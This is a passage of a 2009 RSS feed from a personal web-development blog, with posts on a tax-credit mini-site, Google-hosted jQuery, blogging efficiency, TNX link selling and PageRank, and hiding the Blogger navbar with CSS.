<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>This Life of Brian&#187; Nerds at Work - Web Design, Development, and Publishing</title>
	<atom:link href="http://life-of-brian.com/category/nerds-at-work/feed/" rel="self" type="application/rss+xml" />
	<link>http://life-of-brian.com</link>
	<description>My name is Brian.  Welcome to my life.</description>
	<pubDate>Sat, 04 Apr 2009 20:13:22 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>New Project: Education Tax Credits</title>
		<link>http://life-of-brian.com/2009/02/new-project-education-tax-credits/</link>
		<comments>http://life-of-brian.com/2009/02/new-project-education-tax-credits/#comments</comments>
		<pubDate>Sun, 15 Feb 2009 03:26:02 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Online Publishing]]></category>

		<category><![CDATA[graduate school]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[website projects]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1491</guid>
		<description><![CDATA[So I took some time today and finished the first of my mini website projects: Education Tax Credits.
I came up with the idea while reading through the IRS documentation about the Hope Credit, Lifetime Learning Credit, and Tuition and Fees Deduction.
I just started graduate school, and next year I&#8217;ll be taking advantage of one of [...]]]></description>
			<content:encoded><![CDATA[<p>So I took some time today and finished the first of my mini website projects: <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2VkdWNhdGlvbi10YXgtY3JlZGl0cy5uZXQv">Education Tax Credits</a>.</p>
<p>I came up with the idea while reading through the IRS documentation about the Hope Credit, Lifetime Learning Credit, and Tuition and Fees Deduction.</p>
<p>I just started graduate school, and next year I&#8217;ll be taking advantage of one of these tax benefits. While reading the IRS page, I thought it&#8217;d be nice if there was a simplified version that explained the important details without getting hung up on all the legalese.</p>
<p>I don&#8217;t know if I accomplished that, but I learned a lot about the tax credits while working on it!</p>
<p>In addition to summarizing the IRS documentation, I created a <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2VkdWNhdGlvbi10YXgtY3JlZGl0cy5uZXQvdGF4LWJlbmVmaXRzLWZvci1oaWdoZXItZWR1Y2F0aW9uL2hpZ2hlci1lZHVjYXRpb24tdGF4LWJlbmVmaXQtY2FsY3VsYXRvci8=">simple calculator</a> to estimate how much each tax credit/deduction would net you on your tax return. It works nice, and I like the styling of it. If I get around to it, though, I want to make it work via AJAX (currently it posts to a php file and then redirects back to the page).</p>
<p>I also plan on posting a series of quick &#8220;<a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2VkdWNhdGlvbi10YXgtY3JlZGl0cy5uZXQvYXJ0aWNsZXMtYWJvdXQtdGF4ZXMtc2F2aW5ncy1hbmQtaGlnaGVyLWVkdWNhdGlvbi8=">Question of the Days</a>&#8221; about the tax credits and deductions.</p>
<p>I don&#8217;t plan on spending a lot of time on the site - maybe an hour or two each week adding QotDs, and a few hours promoting/linking throughout the web - and I&#8217;m curious to see how well it&#8217;ll do in SERPs and, more importantly, PR. Cause, you know, PR can equal cash.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1491" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/02/new-project-education-tax-credits/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Heading in a New Direction</title>
		<link>http://life-of-brian.com/2009/02/heading-in-a-new-direction/</link>
		<comments>http://life-of-brian.com/2009/02/heading-in-a-new-direction/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 15:29:28 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Life of Brian]]></category>

		<category><![CDATA[Nerds at Play]]></category>

		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Teach Them Well]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1489</guid>
		<description><![CDATA[You may have noticed lately that I haven&#8217;t been posting a lot. Because, well, I&#8217;m extremely busy.
Something about teaching, two advisorships (including the yearbook), home ownership, and two graduate classes just sucks the energy out of me. When I make it home, if I don&#8217;t have work to do for school or around the house, [...]]]></description>
			<content:encoded><![CDATA[<p>You may have noticed lately that I haven&#8217;t been posting a lot. Because, well, I&#8217;m extremely busy.</p>
<p>Something about teaching, two advisorships (including the yearbook), home ownership, and two graduate classes just sucks the energy out of me. When I make it home, if I don&#8217;t have work to do for school or around the house, I just don&#8217;t have the energy to sit down and write. For a while, I was doing some short pieces about Fallout 3 in the Nerds at Play category, but I couldn&#8217;t muster enough oomph to dive into any deep articles about education or web design.</p>
<p>Although I love blogging, and I really hoped that combining all of these sites into one site would help me keep up with it, it doesn&#8217;t fit into my life at the moment. Too much going on.</p>
<p>However, I&#8217;m still not ready to just drop the whole web dev bug altogether. Which means it&#8217;s time for a new direction.</p>
<p>One problem I&#8217;ve found with a blog is that there&#8217;s a push to post regularly. What good is subscribing to a blog if there are no posts for weeks at a time? I know I&#8217;ve unsubscribed from other people&#8217;s sites because of weeks of downtime.</p>
<p>Instead of blogging - at least as a main venture - I&#8217;ve decided to shift to smaller, one-off sites. Theses mini-sites will probably be 5-20 pages in size, and they probably won&#8217;t include a blog/weekly articles section.</p>
<h3>Why Shift from a Blog to Static Sites?</h3>
<p>First, I&#8217;m not pressured to work regularly. When I have a lull from my other responsibilities, I can sit down and work on a site. If I&#8217;m busy, I can wait a week or two. There&#8217;s no pressure to have it done <strong>right now</strong>.</p>
<p>Second, it&#8217;ll let me work on my web development skills. Since creating this site, I haven&#8217;t done a lot of fiddling with designs and programming. Creating new sites every month or two will give me an excuse to break out some of those design skills and sharpen them.</p>
<p>Third, I can create some revenue through text links like TNX. I&#8217;ve ear-marked online revenue for electronics and supplies that I use in the classroom, so I&#8217;d like to continue to make some extra pocket cash this year. I think this mini-site model will yield more profit per time invested.</p>
<h3>So No Blogging&#8230; At All?</h3>
<p>I wouldn&#8217;t say that. It&#8217;s just not going to be my main project.</p>
<p>I definitely want to create a sustainable education blog. As I get started on this doctoral program, I know that I need to get out there and get my name and my work recognized by a larger audience than my Rutgers professors. I&#8217;m unsure if it&#8217;ll be here or located somewhere else, but in the next year or so I definitely plan on working on that.</p>
<p>I&#8217;ll probably also create a minimalistic personal blog to track all of my projects. I may re-vamp this site over the summer to fulfill that role. I&#8217;ll write quick updates about new projects going up, share lessons learned about web dev, and ponder about new project topics. It&#8217;ll more or less be a place for self-reflection about the whole process.</p>
<p>So&#8230; don&#8217;t expect to see a lot around here in the near future. I may stop in from time to time, but the days of posting something on a daily basis are unfortunately gone. They were fun, but short lived.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1489" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/02/heading-in-a-new-direction/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to Use Pre-Cached Javascript Libraries: Google&#8217;s AJAX API</title>
		<link>http://life-of-brian.com/2009/01/how-to-use-pre-cached-javascript-libraries-googles-ajax-api/</link>
		<comments>http://life-of-brian.com/2009/01/how-to-use-pre-cached-javascript-libraries-googles-ajax-api/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 02:15:02 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Google]]></category>

		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1296</guid>
		<description><![CDATA[Recently, I stumbled on Google&#8217;s AJAX API project.
There are a number of things I like, but there is one thing that everyone can use: Google&#8217;s hosted Javascript libraries.
Last year, Google launched a project to host a handful of popular Javascript libraries. Among the initial offerings is jQuery - the Javascript library that I use on [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, I stumbled on Google&#8217;s AJAX API project.</p>
<p>There are a number of things I like, but there is one thing that everyone can use: <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2dvb2dsZWFqYXhzZWFyY2hhcGkuYmxvZ3Nwb3QuY29tLzIwMDgvMDUvc3BlZWQtdXAtYWNjZXNzLXRvLXlvdXItZmF2b3JpdGUuaHRtbA==">Google&#8217;s hosted Javascript libraries</a>.</p>
<p>Last year, Google launched a project to host a handful of popular Javascript libraries. Among the initial offerings is jQuery - the Javascript library that I use on this site. They also have some other widely used options - like prototype and MooTools.</p>
<p>Basically, Google hosts the most recent (and some legacy versions) of the library on its server. You can then link the remote copy of the JS library to your site instead of hosting it yourself.</p>
<h3>Why Should I Use Google Hosted Javascript Libraries?</h3>
<p>Because it could be faster.</p>
<p>If two sites use the same Javascript library but host it locally, the user has to reload and recache the library for each site. jQuery.js on life-of-brian.com is different from jQuery.js on css-tricks.com - even if the file is exactly the same.</p>
<p>By pointing the user&#8217;s browser to the Google server, it will recognize that .js file in the cache and not download it a second time. So if life-of-brian.com and css-tricks.com both used the jQuery library on Google&#8217;s servers, the user would have to cache it once - and it would be preloaded when he or she visited the second site.</p>
<p>A secondary benefit (of concern only to large sites) is that it doesn&#8217;t put a strain on your bandwidth. This shouldn&#8217;t be a big deal for most people, but some high volume sites may find this comforting.</p>
<h3>How Do I Load Google&#8217;s Hosted Javascript Libraries?</h3>
<p>You could use the fancy load() function of Google&#8217;s AJAX API, or you could simply add a &lt;script&gt; element using the remote address on Google&#8217;s server.</p>
<p>I chose to go the second route with this site. I wanted to load both the jquery library and the jquery ui library (mainly for the tabs in the sidebar), so I included the following two lines in my header:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></pre></div></div>

<p>You can find a list of all the URLs on the <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2NvZGUuZ29vZ2xlLmNvbS9hcGlzL2FqYXhsaWJzL2RvY3VtZW50YXRpb24vI0FqYXhMaWJyYXJpZXM=">AJAX API documentation page</a>.</p>
<h3>Why Not Do This?</h3>
<p>I don&#8217;t see a lot of potential for harm, but there could be some drawbacks.</p>
<p><strong>No version control.</strong> Presumably Google is going to keep hosting important legacy versions of each library, but this takes version control somewhat out of your hands. It also means you can&#8217;t use the development releases - only the stable releases are hosted on Google&#8217;s server.</p>
<p><strong>No hacking the library.</strong> You won&#8217;t be able to introduce custom hacks into the library if its hosted on Google&#8217;s server. I don&#8217;t know how many people do that anyway. I&#8217;ve never jumped into to hack a compressed library file - I just use it as is and add any custom code to another .js file.</p>
<p><strong>Google could sabotage your site.</strong> Unlikely, but I suppose it&#8217;s possible. If you&#8217;re paranoid, steer clear.</p>
<h3>Check It Out</h3>
<p>I&#8217;ve been using it for a week or so, and I haven&#8217;t noticed any problems. In theory, it&#8217;s a great idea, but it&#8217;ll only work if a large number of sites (especially highly trafficked sites in a variety of niches) opt to use it.</p>
<p>I&#8217;m going to do my part and point my users to Google&#8217;s servers. Why don&#8217;t you?</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1296" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/01/how-to-use-pre-cached-javascript-libraries-googles-ajax-api/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blogging Efficiently: Don&#8217;t Waste Time with Social Networking</title>
		<link>http://life-of-brian.com/2009/01/blogging-efficiently-dont-waste-time-with-social-networking/</link>
		<comments>http://life-of-brian.com/2009/01/blogging-efficiently-dont-waste-time-with-social-networking/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 23:29:26 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Online Publishing]]></category>

		<category><![CDATA[Blogging]]></category>

		<category><![CDATA[Digg]]></category>

		<category><![CDATA[Redit]]></category>

		<category><![CDATA[Social Networking]]></category>

		<category><![CDATA[StumbleUpon]]></category>

		<category><![CDATA[Traffic]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1218</guid>
		<description><![CDATA[Time is a valuable commodity.
If you&#8217;re lucky enough to still be in college, you may have gobs of time to waste. Those of us that have moved on to the real world don&#8217;t have that luxury. Blogging and publishing on the &#8216;net needs to fit into an already busy schedule.
With that in mind, it&#8217;s definitely [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL3RpbWVyLmpwZWc="><img class="alignright" title="Sand Timer" src="http://life-of-brian.com/wp-content/uploads/2009/01/timer-224x300.jpg" alt="Close up shot of a sand timer, with about a third of the sand in the bottom portion." /></a>Time is a valuable commodity.</p>
<p>If you&#8217;re lucky enough to still be in college, you may have gobs of time to waste. Those of us that have moved on to the real world don&#8217;t have that luxury. Blogging and publishing on the &#8216;net needs to fit into an already busy schedule.</p>
<p>With that in mind, it&#8217;s definitely worthwhile to take stock of your blogging habits and make sure you&#8217;re working efficiently. If you don&#8217;t budget your time effectively, you&#8217;ll either burn out quickly or fail to meet your goals.</p>
<p>I found some tips for budgeting your blogging time in a <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5wcm9ibG9nZ2VyLm5ldC9hcmNoaXZlcy8yMDA5LzAxLzA3L3RoZS1lc3NlbnRpYWwtZ3VpZGUtdG8tZ3Jvd2luZy15b3VyLWJsb2ctb24tbWluaW1hbC10aW1lLw==">recent post on Problogger</a>. It&#8217;s got some great tips, but there&#8217;s one I&#8217;d like to point out in particular: don&#8217;t waste your time on social networking sites.</p>
<h3>But Don&#8217;t Social Networking Sites Bring Traffic?</h3>
<p>Yes and no.</p>
<p>Digg and StumbleUpon can definitely bring in big numbers, but that&#8217;s not going to happen just because you submit your article. If you submit the article, it won&#8217;t be very long before it drops off the page of recent entries - and it&#8217;ll be lost in oblivion forever.</p>
<p>In order for your article to get rated well, move up the rankings a bit, and draw some real traffic, you&#8217;re going to need <strong>other people</strong> to submit your post and/or review it. That probably means that people are coming to your post by another means (search engine traffic, RSS subscribers, links) and <strong>then</strong> Digging or Stumbling your article.</p>
<p>In other words, write a good article and wait for other people to Digg it. If you spend a lot of time Digging and Stumbling your own articles you&#8217;ll probably end up at best wasting your time and at worst being labeled a spammer.</p>
<h3>What About Making Networks on Social Networking Sites?</h3>
<p>You might be thinking, &#8220;What if I make a deep network on a social networking site? Won&#8217;t that help drive a lot of traffic when I submit an article?&#8221;</p>
<p>If you can rise to be one of the top users of the site, then sure. But be prepared to spend <strong>a lot</strong> of time Digging, Stumbling, Redit-ing, or whatever. Chances are you don&#8217;t have that much time (if you still want to blog, wake up for your real job, and keep your family), so focus on the things that are realistically attainable.</p>
<p>There&#8217;s a nice quote in the ProBlogger post that sums this up:</p>
<blockquote><p>A better use of your time is to write a Digg-worthy post, or a post that will spread like wildfire on StumbleUpon or Delicious — not because you’re friends with lots of the users, but because it’s insanely useful, interesting, controversial, or what have you.</p></blockquote>
<h3>Use Social Networking Sites Passively</h3>
<p>My advice would be to use social networking sites passively.</p>
<p>Write great articles and then include a bookmarking bar under the title and at the end. If people think it&#8217;s Digg-worthy, they&#8217;ll Digg. If they don&#8217;t, it won&#8217;t matter if you Digg it.</p>
<p>Digg seems to me to be a tool for content consumers, and as a blogger you fill the role of a content producer. There&#8217;s just no efficient, feasible way for you to manipulate a social networking site into sending you traffic - you need to rely on the <strong>consumers</strong> to promote it for you.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1218" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/01/blogging-efficiently-dont-waste-time-with-social-networking/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Does Selling TNX Links Kill Your Google Page Rank?</title>
		<link>http://life-of-brian.com/2009/01/does-selling-tnx-links-kill-your-google-page-rank/</link>
		<comments>http://life-of-brian.com/2009/01/does-selling-tnx-links-kill-your-google-page-rank/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 03:45:09 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Advertising]]></category>

		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Text Link Ads]]></category>

		<category><![CDATA[TNX]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1174</guid>
		<description><![CDATA[In the past, I&#8217;ve been pretty supportive of TNX.net - an alternative text link broker to TLA. Although I don&#8217;t use them on this site, I have used them in the past.
I can&#8217;t say I&#8217;m disappointed with the money. I quit updating the site that ran TNX ads on in April, and I kind of [...]]]></description>
			<content:encoded><![CDATA[<p>In the past, I&#8217;ve been pretty supportive of TNX.net - an alternative text link broker to TLA. Although I don&#8217;t use them on this site, I have used them in the past.</p>
<p>I can&#8217;t say I&#8217;m disappointed with the money. I quit updating the site that ran TNX ads on in April, and I kind of assumed that the site was going nowhere. I was surprised when I happened to log into my account in November and find that I had over <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tLzIwMDgvMTEvcHJvZml0aW5nLXRleHQtbGlua3MtdG54Lw==">earned $400 over the course of the summer</a>. Payment was quickly made to my PayPal account - so no complaints in that department.</p>
<p>However, I have become suspicious of something a lot of other people have been suggesting - that TNX could kill your Google Page Rank. Some people have reported starting to sell TNX links, and within weeks their PR dropped to zero and/or their Google traffic was drastically cut.</p>
<p>I started offering TNX links in March, and I saw no negative impacts on my Google rankings over the next two months (until I stopped working on the site). I didn&#8217;t see any evidence of retaliation by Google.</p>
<p>Now that I look at my traffic statistics, I&#8217;m beginning to think differently.</p>
<h3>Recent Traffic to the Site</h3>
<p> <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL3JlZ3VsYXItdHJhZmZpYy5wbmc="><img class="alignright" title="Recent Traffic to Earn Web Cash" src="http://life-of-brian.com/wp-content/uploads/2009/01/regular-traffic-150x150.png" alt="Screenshot of Google Analytics showing the recent traffic trend for Web Cash." /></a>For a benchmark comparison, let&#8217;s look at the recent traffic to the site. It&#8217;s not a lot - I haven&#8217;t updated it since April, and some of the well performing articles have been ported over to the archives here.</p>
<p>As you can see in the Analytics screenshot, there is a slow but steady stream of traffic - maybe 50 visitors a day, besides that spike from an itty-bitty reddit frenzy. When I started working on Nerds at Work, I checked in on the old site a few times. I assumed this was a trickle of Google traffic.</p>
<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL3Bvc3QtdG54LnBuZw=="><img class="alignright" title="Web Cash Traffic During TNX Links" src="http://life-of-brian.com/wp-content/uploads/2009/01/post-tnx-300x128.png" alt="Screenshot of Analytics showing the traffic for Web Cash after installing TNX links." /></a>My first clue that something was wrong was when I checked the page rank for the old site. In the TNX control panel, it was listed as a mix of 2 and 3 for some pages, but a Page Rank checker after the most recent updated showed it at Zero. Hmm&#8230; </p>
<p>Then I went back to look specifically at the traffic I was getting from Google. It was near zero. The pages were still indexed, but for the most part they ranked as low as possible. I&#8217;m surprised anyone got the site from Google.</p>
<p>I looked back at the history, and there was a quite clear drop-off point. In early May, I went from a steady 2-300 visitors per day from Google to almost nothing. Aside from a fluke day in December with 130 visits, it&#8217;s been pretty much the same from May until today.</p>
<p>I didn&#8217;t notice at the time, since I stopped updating and monitoring the site in April. However, this was about three months after I started selling TNX links.</p>
<h3>An Alternative Cause</h3>
<p>There is an alternative possibility.</p>
<p>In May, the site was hacked and subjected to an iframe injection. A whole slew of invisible spam links were embedded into the page through an iframe, and I didn&#8217;t find out for a couple weeks.</p>
<p>That attack took place at the exact same time as the dropoff in Google traffic. The infected files carried a timestamp of May 16. The last peak of traffic was May 15. May 16 and 17 showed drop offs - although nothing <strong>too</strong> out of the ordinary. By May 18, Google traffic had all but stopped.</p>
<p>I was later informed (in mid June) that the site was removed from the index due to these links. I quickly fixed the problem and applied to be re-admitted to the index. I was, and I didn&#8217;t think too much about it after that.</p>
<p>I suppose it&#8217;s possible that the iframe injection flagged the site in Google&#8217;s index, leading to it being blacklisted. However, it seems strange that traffic would stop three or four weeks before I was contacted by Google and the site was removed from the index. If the traffic dropoff is due to the iframe injection, wouldn&#8217;t the dropoff and the notification from Google have come at the same time?</p>
<h3>Bit Weary of TNX - Looking for Verification</h3>
<p>At this point, I&#8217;m a bit weary to install TNX links on this site. I don&#8217;t want to take the chance of tanking this project - especially since I&#8217;ve still got a vested interest here. I&#8217;m not really concerned about the fate of the old site - I was done with it.</p>
<p>I&#8217;ve decided to do a bit of an experiment with another defunct site to see what happens. I&#8217;ve applied for my old gaming site (<a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3JvbGxpbmctaG9yZGUubmV0">Rolling Horde</a>) to be included in the TNX system. I then plan on loading it up with links and seeing what happens.</p>
<p>If indeed Google detects these links and hammers sites that sell them, Rolling Horde should drop in the rankings to near non-existance within a few months. If May or June roll around and it hasn&#8217;t been impacted, then maybe I was just over-reacting - and something else caused the other site to get the boot.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1174" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/01/does-selling-tnx-links-kill-your-google-page-rank/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to Hide the Navbar on a Blogger Hosted Blog</title>
		<link>http://life-of-brian.com/2009/01/how-to-hide-the-navbar-on-a-blogger-hosted-blog/</link>
		<comments>http://life-of-brian.com/2009/01/how-to-hide-the-navbar-on-a-blogger-hosted-blog/#comments</comments>
		<pubDate>Sun, 04 Jan 2009 21:11:17 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[CMS Tricks]]></category>

		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Blogger]]></category>

		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1152</guid>
		<description><![CDATA[So you haven&#8217;t made the jump yet from a Blogger blog to a self-hosted one. Do you really need to have that annoying Blogger navbar display at the top of your page? 
Well, according to Blogger&#8217;s ToS, you do. But, if you&#8217;re feeling brave, it&#8217;s incredibly simple to hide it.
It&#8217;s not very easy to physically remove [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL2Jsb2dnZXItbmF2YmFyLnBuZw=="><img class="alignright" title="Blogger Navbar" src="http://life-of-brian.com/wp-content/uploads/2009/01/blogger-navbar-150x150.png" alt="Screenshot pointing out the Blogger Navbar." /></a>So you haven&#8217;t made the jump yet from a Blogger blog to a self-hosted one. Do you really need to have that annoying Blogger navbar display at the top of your page? </p>
<p>Well, according to Blogger&#8217;s ToS, you do. But, if you&#8217;re feeling brave, it&#8217;s incredibly simple to hide it.</p>
<p>It&#8217;s not very easy to physically remove it, but hiding it accomplishes the same goal. Your users will never see it, and it won&#8217;t interfere with any custom layouts you&#8217;ve designed.</p>
<h3>Editing Your Blogger HTML Template<span style="font-weight: normal;"> </span></h3>
<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL2Jsb2dnZXItaHRtbC1lZGl0b3IucG5n"><img class="alignright" title="Blogger HTML Editor" src="http://life-of-brian.com/wp-content/uploads/2009/01/blogger-html-editor-300x273.png" alt="Screenshot of the Blogger HTML editor open in a browser window." /></a>In order to hide the navbar, you&#8217;ll need to edit your Blogger site&#8217;s HTML template.</p>
<p>To do so, go to your Blogger dashboard as if you were going to write a post. Then click on the &#8220;Layout&#8221; tab and choose &#8220;Edit HTML.&#8221;</p>
<p>This should bring up a giant box of text that you can edit (see the screenshot to the right).</p>
<p>If you are using the the classic template, you will either have to &#8220;Upgrade Your Template&#8221; (using the instructions that follow) or use slightly different code at the end.</p>
<p>Click on the &#8220;Layout Tab.&#8221; Then, choose &#8220;Customize Design.&#8221; Click the &#8220;Upgrade Your Template&#8221; button and choose the template you want.</p>
<p>Now, click on Layout -&gt; Edit HTML.</p>
<h3>Adding the New Code</h3>
<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL2Jsb2dnZXItdXBkYXRlZC1odG1sLnBuZw=="><img class="alignright" title="Updating the Blogger HTML" src="http://life-of-brian.com/wp-content/uploads/2009/01/blogger-updated-html-300x187.png" alt="Add the highlighted line to your template file and click save template." /></a>In order to make the Navbar hidden, you&#8217;ll only need to add one line of code.</p>
<p>The beginning of the text in the textbox (your HTML template) deals with styling information. You want to scroll to <strong>the end</strong> of that. Scroll down until you see the following line:</p>

<div class="wp_syntax"><div class="code"><pre class="xml xml" style="font-family:monospace;">]]&gt;<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/b:skin<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<p>Just <strong>before</strong> that line, add the following line of code:</p>

<div class="wp_syntax"><div class="code"><pre class="css css" style="font-family:monospace;"><span style="color: #cc00cc;">#navbar</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">none</span>; <span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Then click the Save Template button, reload your blog, and your navbar should be gone!</p>
<p>If you are using the classic template, you&#8217;ll need to do things only slightly different. In your template, search for this line:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">style</span>&gt;</span></pre></div></div>

<p>Then, add the following line of code <strong>before</strong> that line:</p>

<div class="wp_syntax"><div class="code"><pre class="css css" style="font-family:monospace;"><span style="color: #cc00cc;">#navbar-iframe</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">none</span>; <span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Why the difference? Blogger uses a slightly different mechanism for the navbar in the classic template. It&#8217;s launched in an iframe, which is styled by the id #navbar-iframe. In the customized templates, the navbar is within the main page, so you can hide it directly without having to hide the iframe.</p>
<h3>That&#8217;s It?</h3>
<p>Umm&#8230; yeah.</p>
<p>I&#8217;ve seen some examples online where people included a bit more styling information (zero-ing out the margins and padding, for example). I haven&#8217;t found this to be necessary.</p>
<p>I used the code above and tested it (<a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3ViZXJzdXBlcmJsb2cuYmxvZ3Nwb3QuY29tLw==">example here</a>) in Google Chrome, Firefox, and Internet Explorer and they all seemed to work fine.</p>
<p>Like I mentioned before, this is technically against the Blogger T.O.S., so you&#8217;re following this advice at your own risk. I doubt Google would notice, though, and if your site is popular enough to draw Google&#8217;s attention you should probably have moved onto a self-hosted blog anyway.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1152" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/01/how-to-hide-the-navbar-on-a-blogger-hosted-blog/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Use Associated Content to Test Out Your SEO Theories</title>
		<link>http://life-of-brian.com/2009/01/use-associated-content-to-test-out-your-seo-theories/</link>
		<comments>http://life-of-brian.com/2009/01/use-associated-content-to-test-out-your-seo-theories/#comments</comments>
		<pubDate>Sat, 03 Jan 2009 21:23:25 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Online Publishing]]></category>

